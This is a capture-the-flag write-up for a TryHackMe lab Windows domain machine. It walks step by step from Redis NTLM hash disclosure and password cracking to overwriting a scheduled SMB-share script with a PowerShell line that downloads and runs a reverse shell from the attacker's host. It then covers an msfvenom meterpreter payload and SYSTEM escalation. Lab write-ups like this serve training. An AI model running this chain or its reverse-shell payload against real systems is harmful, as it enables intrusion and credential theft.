

VULNET ACTIVE

To access the machine, click on the link given below:

<https://tryhackme.com/room/vulnnetactive>

SCANNING

I performed an **nmap** aggressive scan on the target to find open ports and the services running on them.

```
# nmap -A -Pn -p- 10.10.217.184 --min-rate 10000 -oN vulnet.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-02 06:18 EDT
Nmap scan report for 10.10.217.184
Host is up (0.18s latency).

Not shown: 65522 filtered tcp ports (no-response)

PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis       Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf     .NET Message Framing
49665/tcp open  msrpc       Microsoft Windows RPC
49668/tcp open  msrpc       Microsoft Windows RPC
49669/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc       Microsoft Windows RPC
49689/tcp open  msrpc       Microsoft Windows RPC
49707/tcp open  msrpc       Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
```

FOOTHOLD

I found **redis** to be running so I searched online for ways I could interact with the service and found this article: <https://hackviser.com/tactics/pentesting/services/redis>

The screenshot shows a web browser window with the URL <https://hackviser.com/tactics/pentesting/services/redis>. The page title is "Attack Vectors". On the left, there's a sidebar with categories like "Pentesting Tactics", "Web Vulnerabilities", and "Services & Protocols" (with "Redis" listed under it). The main content area has a section titled "Passwordless Authentication" with text explaining that Redis allows users to connect without a password. It includes a command-line example:

```
redis-cli -h X.X.X.X --user <username> -a <password>
#provide a common username
#provide a common password
```

The screenshot shows a terminal window on Kali Linux with several tabs open. One tab shows the command: `# redis-cli -h 10.10.217.184`. The output shows a connection to port 6379.

I looked for ways I could exploit this and found this article. It seems I could relay my ntlm credentials through smb.

The screenshot shows a web browser window with the URL <https://exploit-notes.hdk.org/exploit/database/redis-pentesting/#ntlm-hash-disclosure>. The page title is "NTLM Hash Disclosure". The sidebar lists various database pentesting categories, with "Redis Pentesting" selected. The main content area has a section with the command: `mkdir share
sudo impacket-smbserver share ./share/ -smb2support`.

I started responder on my interface

```
[root@kali: ~/thm/vulnActive]# responder -I tun0
[+] Poisons:
    LLMNR      [ON]
    NBT-NS     [ON]
    MDNS      [ON]
    DNS       [ON]
    DHCP      [OFF]

[+] Servers:
    HTTP server   [ON]
    HTTPS server  [ON]
    WPA2 proxy    [OFF]
    Auth proxy    [OFF]
    SMB server    [ON]
    Kerberos server [ON]
    SQL server    [ON]
    FTP server    [ON]
    IMAP server   [ON]
    POP3 server   [ON]
```

I then tried accessing a share on my system and found the NTLM hash on responder.



File Actions Edit View Help

root@kali: ~/thm/vulnActive

nmmap x root@kali: ~/thm/vulnActive x root@kali: ~/thm/vulnActive x root@kali: ~/thm/vulnActive x root@kali: ~/thm/vulnActive x

root@kali: [~/thm/vulnActive]

redis-cli -h 10.21.17.184

10.21.17.184:6379> eval "dofile('://10.21.17.140/share')" 0

(error) ERR Error running script (call to f_cbd5a281d29f7a1dd89b802cae1be7d516db2eef): @user_script:1: cannot open //10.21.17.140/share: Permission denied (4.15s)

10.21.17.184:6379> | NTLM Hash Disclosure

I saved the hash and cracked it using **john**.

```

File Actions Edit View Help
nmap x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x
└─[root@kali ~]# vim ntlmHash
└─[root@kali ~]# john --wordlist=/usr/share/wordlists/rockyou.txt ntlmHash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sand_0873959498 (enterprise-security)
1g 0:00:00:01 DONE (2025-05-02 06:32) 0.5847g/s 2347Kp/s 2347Kc/s 2347KC/s sandoval69.. sand36
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

└─[root@kali ~]# mv ntlmHash user1.hash
└─[root@kali ~]# echo 'enterprise-security : sand_0873959498' > creds

```

I then listed the shares using the newly discovered credentials.

```

File Actions Edit View Help
nmap x creds x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x
└─[root@kali ~]# smbclient -L 10.10.217.184 -U "enterprise-security"
Password for [WORKGROUP\enterprise-security]:
Sharename      Type      Comment
ADMIN$        Disk      Remote Admin
C$           Disk      Default share
Enterprise-Share Disk
IPC$          IPC       Remote IPC
NETLOGON      Disk      Logon server share
SYSVOL        Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.217.184 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

I connected to the server using my credentials and accessed Enterprise-Share

```

File Actions Edit View Help
nmap x creds x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x
└─[root@kali ~]# impacket-smbclient 'enterprise-security':\sand_0873959498@10.10.217.184
Impacket V0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# ls
[-] No share selected
# shares
ADMIN$
C$
Enterprise-Share
IPC$
NETLOGON
SYSVOL
# use Enterprise-Share
# ls
drw-rw-rw-      0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-      0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-     69  Tue Feb 23 19:33:18 2021 PurgeIrrelevantData_1826.ps1
# |

```

I then downloaded the ps1 script and it seemed like it deleted the contents of the Documents directory.

```

File Actions Edit View Help
nmap x creds x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x root@kali: ~/thm/vulnetActive x
└─[root@kali ~]# cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

```

I replaced the contents with a reverse shell and uploaded it back into the system.

```
(root@kali:[~/thm/vulnetActive]
# cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

(root@kali:[~/thm/vulnetActive]
# mv PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1.bak

(root@kali:[~/thm/vulnetActive]
# vim PurgeIrrelevantData_1826.ps1

(root@kali:[~/thm/vulnetActive]
# cat PurgeIrrelevantData_1826.ps1
iex (iwr -UseBasicParsing http://10.21.17.140/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress 10.21.17.140 -Port 4444
```

```
(root@kali:[~/thm/vulnetActive]
# impacket-smbclient 'enterprise-security':sand_0873959498@10.10.217.184
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# ls
[-] No share selected
# shares
ADMIN$          Code: Bloomsdale\Invoke-PowerShellTcp.ps1
IPC$           Code: Bloomsdale\Invoke-PowerShellTcp.ps1
NETLOGON        Code: Bloomsdale\Invoke-PowerShellTcp.ps1
SYSVOL         Code: Bloomsdale\Invoke-PowerShellTcp.ps1
# use Enterprise-Share
# ls
drw-rw-rw-    0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-    0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-   69  Tue Feb 23 19:33:18 2021 PurgeIrrelevantData_1826.ps1
# get PurgeIrrelevantData_1826.ps1
# put PurgeIrrelevantData_1826.ps1
# ls
drw-rw-rw-    0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-    0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-  137  Fri May  2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# |
```

```
(root@kali:[~/thm/vulnetActive]
# ls
creds Invoke-PowerShellTcp.ps1 PurgeIrrelevantData_1826.ps1 PurgeIrrelevantData_1826.ps1.bak user1.hash vulnet.nmap

(root@kali:[~/thm/vulnetActive]
# cat PurgeIrrelevantData_1826.ps1
iex (iwr -UseBasicParsing http://10.21.17.140/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress 10.21.17.140 -Port 4444

(root@kali:[~/thm/vulnetActive]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80) ...
10.10.217.184 - - [02/May/2025 06:52:00] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
```

I soon got a reverse shell.

```
(root@kali:[~/thm/vulnetActive]
# rlwrap nc -lvp 4444
listening on [any] 4444 ...
connect to [10.21.17.104] from (UNKNOWN) [10.10.217.184] 49997
Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\enterprise-security\Downloads>whoami
vulnet\enterprise-security
PS C:\Users\enterprise-security\Downloads>
```

I navigated to Desktop and found the user flag.

```
PS C:\Users\enterprise-security> cd Desktop
PS C:\Users\enterprise-security\Desktop> dir

Directory: C:\Users\enterprise-security\Desktop

Mode LastWriteTime Length Name
-a--- 2/23/2021 8:24 PM 37 user.txt

PS C:\Users\enterprise-security\Desktop> more user.txt
THM{3e1[REDACTED]}

PS C:\Users\enterprise-security\Desktop>
```

PRIVILEGE ESCALATION

I then uploaded PowerUp for local enumeration.

```
# shares
ADMIN$  
C$  
Enterprise-Share  
IPC$  
NETLOGON  
SYSVOL  
# use Enterprise-Share  
# ls
drw-rw-rw- 0 Tue Feb 23 17:45:41 2021 .
drw-rw-rw- 0 Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw- 69 Tue Feb 23 19:33:18 2021 PurgeIrrelevantData_1826.ps1
# get PurgeIrrelevantData_1826.ps1
# put PurgeIrrelevantData_1826.ps1
# ls
drw-rw-rw- 0 Tue Feb 23 17:45:41 2021 .
drw-rw-rw- 0 Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw- 137 Fri May 2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# put PowerUp.ps1
# ls
drw-rw-rw- 0 Fri May 2 06:57:54 2025 .
drw-rw-rw- 0 Fri May 2 06:57:54 2025 ..
-rw-rw-rw- 600580 Fri May 2 06:57:57 2025 PowerUp.ps1
-rw-rw-rw- 137 Fri May 2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# |
```

```
PS C:\Users\enterprise-security\Downloads> cd C:\Enterprise-Share
PS C:\Enterprise-Share> dir

Directory: C:\Enterprise-Share

Mode LastWriteTime Length Name
-a--- 5/2/2025 3:57 AM 600580 PowerUp.ps1
-a--- 5/2/2025 3:50 AM 137 PurgeIrrelevantData_1826.ps1

PS C:\Enterprise-Share>
```

I created a temp directory and shifted the script to it.

```
revshell
File Actions Edit View Help
nmap x creds x root@kali:~/thm/vulnetActive x root@kali:~/thm/vulnetActive x revshell x
-a 5/2/2025 3:50 AM 137 PurgeIrrelevantData_1826.ps1

PS C:\Enterprise-Share> mkdir C:\temp
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Directory: C:\Enterprise-Share\

Mode LastWriteTime Length Name
-- -- -- --
d 5/2/2025 4:00 AM temp

PS C:\Enterprise-Share> Move-Item -Path "C:\Enterprise-Share\PowerUp.ps1" -Destination "C:\temp\PowerUp.ps1"
PS C:\Enterprise-Share> cd C:\temp
PS C:\temp> dir

Directory: C:\temp

Mode LastWriteTime Length Name
-- -- -- --
-a 5/2/2025 3:57 AM 600580 PowerUp.ps1

PS C:\temp> |
```

Finally, I executed the script and found interesting configs. I seemed to have the **SeImpersonatePrivilege**.

```
PS C:\temp> Import-Module ./PowerUp.ps1
PS C:\temp> Invoke-AllChecks

Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2400
ProcessId : 2276
Name : 2276
Check : Process Token Privileges

ServiceName : Redis
Path : C:\Users\enterprise-security\Downloads\nssm-2.24-101-g897c7ad\nssm-2.24-101-g897c7ad\win64\nssm.exe
ModifiableFile : C:\Users\enterprise-security\Downloads\nssm-2.24-101-g897c7ad\nssm-2.24-101-g897c7ad\win64\nssm.exe
ModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : VULNET\enterprise-security
StartName : enterprise-security@vulnet.local
AbuseFunction : Install-ServiceBinary -Name 'Redis'
CanRestart : False
Name : Redis
Check : Modifiable Service Files
```

This could be used to launch a potato attack and gain administrative access. So I tried exploiting it using **EfsPotato**.

```

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
using System.ComponentModel;
using System.Security.Permissions;
using System.Diagnostics;
using System.Threading;
using System.Security.Principal;
using System.Linq;
using Microsoft.Win32.SafeHandles;
namespace Zcg.Exploits.Local
{
    class EfsPotato
    {
        static void usage()
    }
}

```

```

# use Enterprise-Share
# ls
drw-rw-rw-          0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-          0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-         69  Tue Feb 23 19:33:18 2021 PurgeIrrelevantData_1826.ps1
# get PurgeIrrelevantData_1826.ps1
# put PurgeIrrelevantData_1826.ps1
# ls
drw-rw-rw-          0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-          0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-        137  Fri May  2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# put PowerUp.ps1
# ls
drw-rw-rw-          0  Fri May  2 06:57:54 2025 .
drw-rw-rw-          0  Fri May  2 06:57:54 2025 ..
-rw-rw-rw-       600580  Fri May  2 06:57:57 2025 PowerUp.ps1
-rw-rw-rw-        137  Fri May  2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# put EfsPotato.cs
# ls
drw-rw-rw-          0  Fri May  2 07:13:06 2025 .
drw-rw-rw-          0  Fri May  2 07:13:06 2025 ..
-rw-rw-rw-      25441  Fri May  2 07:13:07 2025 EfsPotato.cs
-rw-rw-rw-        137  Fri May  2 06:50:24 2025 PurgeIrrelevantData_1826.ps1
# |

```

```

PS C:\> cd Enterprise-Share
PS C:\Enterprise-Share> ls
Directory: C:\Enterprise-Share

Mode                LastWriteTime      Length Name
-a----             5/2/2025  3:50 AM           137 PurgeIrrelevantData_1826.ps1

PS C:\Enterprise-Share> ls
Directory: C:\Enterprise-Share

Mode                LastWriteTime      Length Name
-a----             5/2/2025  4:13 AM          25441 EfsPotato.cs
-a----             5/2/2025  3:50 AM           137 PurgeIrrelevantData_1826.ps1

PS C:\Enterprise-Share> Move-Item -Path "C:\Enterprise-Share\EfsPotato.cs" -Destination "C:\temp\EfsPotato.cs"
PS C:\Enterprise-Share> cd C:\temp
PS C:\temp> |

```

I tried executing the payload but it kept failing.

```

Directory: C:\Windows\Microsoft.NET\Framework

Mode LastWriteTime Length Name
d----- 9/15/2018 12:19 AM 1,037,056 v1.0.3705
d----- 9/15/2018 12:19 AM 1,432,224 v1.1.4322
d----- 9/15/2018 12:19 AM 5,072,776 v2.0.50727
d----- 5/2/2025 3:43 AM 303,192 v4.0.30319
-a---- 9/15/2018 12:11 AM 7,680 sbscmp10.dll
-a---- 9/15/2018 12:11 AM 7,680 sbscmp20_msccorwks.dll
-a---- 9/15/2018 12:11 AM 7,680 sbscmp20_perfcounter.dll (FileSrv with
-a---- 9/15/2018 12:11 AM 7,680 sbs_diasymreader.dll escalation vulnerability).
-a---- 9/15/2018 12:11 AM 7,680 sbs_microsoft_jscript.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_msordb1.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_msccorrc.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_msccorsec.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_system.configuration.install.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_system.data.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_system.enterpriseservices.dll
-a---- 9/15/2018 12:11 AM 7,680 sbs_wminet_utils.dll
-a---- 9/15/2018 12:11 AM 7,680 SharedReg12.dll

PS C:\temp> C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe EfsPotato.cs -nowarn:1691,618

```

So I created an msfvenom payload to get a meterpreter shell.

```

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.21.17.140 LPORT=1234 -f exe -o meter.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: meter.exe

```

I uploaded the payload through smb and executed it to get a reverse meterpreter shell on metasploit.

```

# impacket-smbclient 'enterprise-security'@10.10.36.209
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# ls
[-] No share selected
# shares
ADMIN$
C$
Enterprise-Share
IPC$
NETLOGON
SYSVOL
# use Enterprise-Share
# ls
drw-rw-rw-      0  Tue Feb 23 17:45:41 2021 .
drw-rw-rw-      0  Tue Feb 23 17:45:41 2021 ..
-rw-rw-rw-     69  Tue Feb 23 19:33:18 2021 PurgeIrrelevantData_1826.ps1
# put PurgeIrrelevantData_1826.ps1
# put meter.exe
# ls
drw-rw-rw-      0  Fri May  2 08:09:57 2025 .
drw-rw-rw-      0  Fri May  2 08:09:57 2025 ..
-rw-rw-rw-    7168 Fri May  2 08:09:58 2025 meter.exe
-rw-rw-rw-     137 Fri May  2 08:07:07 2025 PurgeIrrelevantData_1826.ps1
# |

```

```
PS C:\Enterprise-Share> PS C:\Enterprise-Share> ls

    Directory: C:\Enterprise-Share

Mode LastWriteTime      Length Name
--  -- 5/2/2025 5:09 AM     7168 meter.exe
-a  -- 5/2/2025 5:07 AM     137 PurgeIrrelevantData_1826.ps1

PS C:\Enterprise-Share> Move-Item -Path "C:\Enterprise-Share\meter.exe" -Destination "C:\temp\meter.exe"
PS C:\Enterprise-Share> cd C:\temp
PS C:\temp> ls

    Directory: C:\temp

Mode LastWriteTime      Length Name
--  -- 5/2/2025 5:09 AM     7168 meter.exe

PS C:\temp> ./meter.exe
PS C:\temp> |
```

```
meterpreter > getuid
Server username: VULNNET\enterprise-security
meterpreter > sysinfo
Computer       : VULNNET-BC3TCK1
OS             : Windows Server 2019 (10.0 Build 17763).
Architecture   : x64
System Language: en_US
Domain         : VULNNET
Logged On Users: 9
Meterpreter    : x64/windows
meterpreter > getsystem
... got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > |
```

After getting a shell, I used `getsystem` command to automatically escalate privilege and gain NT AUTHORITY\SYSTEM access.

Finally, I captured the root flag from Administrator's desktop.

```
cd D
C:\Users\Administrator>esktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AAC5-C2C2

Directory of C:\Users\Administrator\Desktop

02/23/2021  09:27 PM    <DIR>        .
02/23/2021  09:27 PM    <DIR>        ..
02/23/2021  09:27 PM           37 system.txt
                           1 File(s)    37 bytes
                           2 Dir(s)  21,135,937,536 bytes free

C:\Users\Administrator\Desktop>more system.txt
more system.txt
THM{d[REDACTED]}
```

